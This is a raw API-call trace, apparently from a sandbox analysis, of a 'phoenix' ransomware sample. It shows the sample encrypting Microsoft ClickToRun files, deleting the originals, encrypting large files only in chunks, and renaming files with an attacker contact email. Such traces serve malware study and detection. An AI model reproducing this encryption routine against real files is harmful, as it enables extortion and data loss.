	[0073.470] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0073.470] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa908) returned 1
	[0073.470] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0073.470] ReadFile (in: hFile=0x320, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x5211, lpOverlapped=0x0) returned 1
	[0073.675] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x5220, dwBufLen=0x5220 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x5220) returned 1
	[0073.675] WriteFile (in: hFile=0x344, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x5220, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x5220, lpOverlapped=0x0) returned 1
	[0073.677] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa7c8) returned 1
	[0073.677] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0073.677] CryptEncrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x60, dwBufLen=0x60 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x60) returned 1
	[0073.677] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0073.677] WriteFile (in: hFile=0x344, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x112, lpOverlapped=0x0) returned 1
	[0073.677] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0073.677] CloseHandle (hObject=0x320) returned 1
	[0073.677] CloseHandle (hObject=0x344) returned 1
	[0073.681] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml")) returned 1
	[0073.686] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0073.686] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0073.686] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=3688458) returned 1
	[0073.687] CloseHandle (hObject=0x344) returned 1
	[0073.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat")) returned 0x20
	[0073.687] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0073.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0073.687] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0073.687] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0073.687] ReadFile (in: hFile=0x344, lpBuffer=0x371d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x338fcec, lpOverlapped=0x0 | out: lpBuffer=0x371d058*, lpNumberOfBytesRead=0x338fcec*=0x40000, lpOverlapped=0x0) returned 1
	[0074.115] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x12c2ae, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0074.115] ReadFile (in: hFile=0x344, lpBuffer=0x375d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x338fcec, lpOverlapped=0x0 | out: lpBuffer=0x375d058*, lpNumberOfBytesRead=0x338fcec*=0x40000, lpOverlapped=0x0) returned 1
	[0075.208] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x34480a, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0075.208] ReadFile (in: hFile=0x344, lpBuffer=0x379d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x338fcec, lpOverlapped=0x0 | out: lpBuffer=0x379d058*, lpNumberOfBytesRead=0x338fcec*=0x40000, lpOverlapped=0x0) returned 1
	[0075.807] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd3c | out: phKey=0x338fd3c*=0xbaa4c8) returned 1
	[0075.807] CryptSetKeyParam (hKey=0xbaa4c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0075.807] CryptEncrypt (in: hKey=0xbaa4c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fcf0*=0xc0070, dwBufLen=0xc0070 | out: pbData=0x371d020*, pdwDataLen=0x338fcf0*=0xc0070) returned 1
	[0075.808] CryptDestroyKey (hKey=0xbaa4c8) returned 1
	[0075.808] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd18 | out: lpNewFilePointer=0x0) returned 1
	[0075.808] WriteFile (in: hFile=0x344, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xc0122, lpNumberOfBytesWritten=0x338fd28, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd28*=0xc0122, lpOverlapped=0x0) returned 1
	[0075.845] SetEndOfFile (hFile=0x344) returned 1
	[0075.845] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x34480a, lpNewFilePointer=0x0, dwMoveMethod=0x338fce8 | out: lpNewFilePointer=0x0) returned 1
	[0075.845] WriteFile (in: hFile=0x344, lpBuffer=0x37dd15a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x338fcf4, lpOverlapped=0x0 | out: lpBuffer=0x37dd15a*, lpNumberOfBytesWritten=0x338fcf4*=0x40000, lpOverlapped=0x0) returned 1
	[0076.188] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x12c2ae, lpNewFilePointer=0x0, dwMoveMethod=0x338fce8 | out: lpNewFilePointer=0x0) returned 1
	[0076.188] WriteFile (in: hFile=0x344, lpBuffer=0x37dd15a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x338fcf4, lpOverlapped=0x0 | out: lpBuffer=0x37dd15a*, lpNumberOfBytesWritten=0x338fcf4*=0x40000, lpOverlapped=0x0) returned 1
	[0076.191] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fce8 | out: lpNewFilePointer=0x0) returned 1
	[0076.191] WriteFile (in: hFile=0x344, lpBuffer=0x37dd15a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x338fcf4, lpOverlapped=0x0 | out: lpBuffer=0x37dd15a*, lpNumberOfBytesWritten=0x338fcf4*=0x40000, lpOverlapped=0x0) returned 1
	[0076.193] CloseHandle (hObject=0x344) returned 1
	[0077.653] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0077.653] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0077.653] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=1972) returned 1
	[0077.653] CloseHandle (hObject=0x344) returned 1
	[0077.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml")) returned 0x20
	[0077.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0077.653] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0077.653] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0077.654] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0077.654] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0077.654] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa848) returned 1
	[0077.655] CryptSetKeyParam (hKey=0xbaa848, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0077.655] ReadFile (in: hFile=0x344, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x7b4, lpOverlapped=0x0) returned 1
	[0077.794] CryptEncrypt (in: hKey=0xbaa848, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x7c0, dwBufLen=0x7c0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x7c0) returned 1
	[0077.795] WriteFile (in: hFile=0x324, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x7c0, lpOverlapped=0x0) returned 1
	[0077.796] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa508) returned 1
	[0077.796] CryptSetKeyParam (hKey=0xbaa508, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0077.796] CryptEncrypt (in: hKey=0xbaa508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0077.796] CryptDestroyKey (hKey=0xbaa508) returned 1
	[0077.796] WriteFile (in: hFile=0x324, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0077.796] CryptDestroyKey (hKey=0xbaa848) returned 1
	[0077.796] CloseHandle (hObject=0x344) returned 1
	[0077.796] CloseHandle (hObject=0x324) returned 1
	[0077.797] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml")) returned 1
	[0077.798] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0077.798] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0077.798] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=614) returned 1
	[0077.798] CloseHandle (hObject=0x324) returned 1
	[0077.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml")) returned 0x20
	[0077.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0077.798] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0077.799] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0077.799] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0077.799] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0077.799] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa988) returned 1
	[0077.799] CryptSetKeyParam (hKey=0xbaa988, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0077.799] ReadFile (in: hFile=0x324, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x266, lpOverlapped=0x0) returned 1
	[0077.800] CryptEncrypt (in: hKey=0xbaa988, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x270, dwBufLen=0x270 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x270) returned 1
	[0077.800] WriteFile (in: hFile=0x344, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x270, lpOverlapped=0x0) returned 1
	[0077.801] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa608) returned 1
	[0077.801] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0077.801] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x60, dwBufLen=0x60 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x60) returned 1
	[0077.801] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0077.801] WriteFile (in: hFile=0x344, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x112, lpOverlapped=0x0) returned 1
	[0077.801] CryptDestroyKey (hKey=0xbaa988) returned 1
	[0077.802] CloseHandle (hObject=0x324) returned 1
	[0077.802] CloseHandle (hObject=0x344) returned 1
	[0077.802] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml")) returned 1
	[0077.803] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0077.803] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0077.804] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=5944055) returned 1
	[0077.804] CloseHandle (hObject=0x344) returned 1
	[0077.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml")) returned 0x20
	[0077.804] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0077.804] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0077.804] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0077.804] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0077.804] ReadFile (in: hFile=0x344, lpBuffer=0x371d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x338fcec, lpOverlapped=0x0 | out: lpBuffer=0x371d058*, lpNumberOfBytesRead=0x338fcec*=0x40000, lpOverlapped=0x0) returned 1
	[0077.806] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0077.806] ReadFile (in: hFile=0x344, lpBuffer=0x375d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x338fcec, lpOverlapped=0x0 | out: lpBuffer=0x375d058*, lpNumberOfBytesRead=0x338fcec*=0x40000, lpOverlapped=0x0) returned 1
	[0077.813] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x338fce0 | out: lpNewFilePointer=0x0) returned 1
	[0077.813] ReadFile (in: hFile=0x344, lpBuffer=0x379d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x338fcec, lpOverlapped=0x0 | out: lpBuffer=0x379d058*, lpNumberOfBytesRead=0x338fcec*=0x40000, lpOverlapped=0x0) returned 1
	[0077.818] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd3c | out: phKey=0x338fd3c*=0xbaa748) returned 1
	[0077.818] CryptSetKeyParam (hKey=0xbaa748, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0077.818] CryptEncrypt (in: hKey=0xbaa748, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fcf0*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x371d020*, pdwDataLen=0x338fcf0*=0xc0060) returned 1
	[0077.819] CryptDestroyKey (hKey=0xbaa748) returned 1
	[0077.819] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd18 | out: lpNewFilePointer=0x0) returned 1
	[0077.820] WriteFile (in: hFile=0x344, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x338fd28, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd28*=0xc0112, lpOverlapped=0x0) returned 1
	[0077.840] SetEndOfFile (hFile=0x344) returned 1
	[0077.840] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x338fce8 | out: lpNewFilePointer=0x0) returned 1
	[0077.840] WriteFile (in: hFile=0x344, lpBuffer=0x37dd14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x338fcf4, lpOverlapped=0x0 | out: lpBuffer=0x37dd14a*, lpNumberOfBytesWritten=0x338fcf4*=0x40000, lpOverlapped=0x0) returned 1
	[0077.842] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x338fce8 | out: lpNewFilePointer=0x0) returned 1
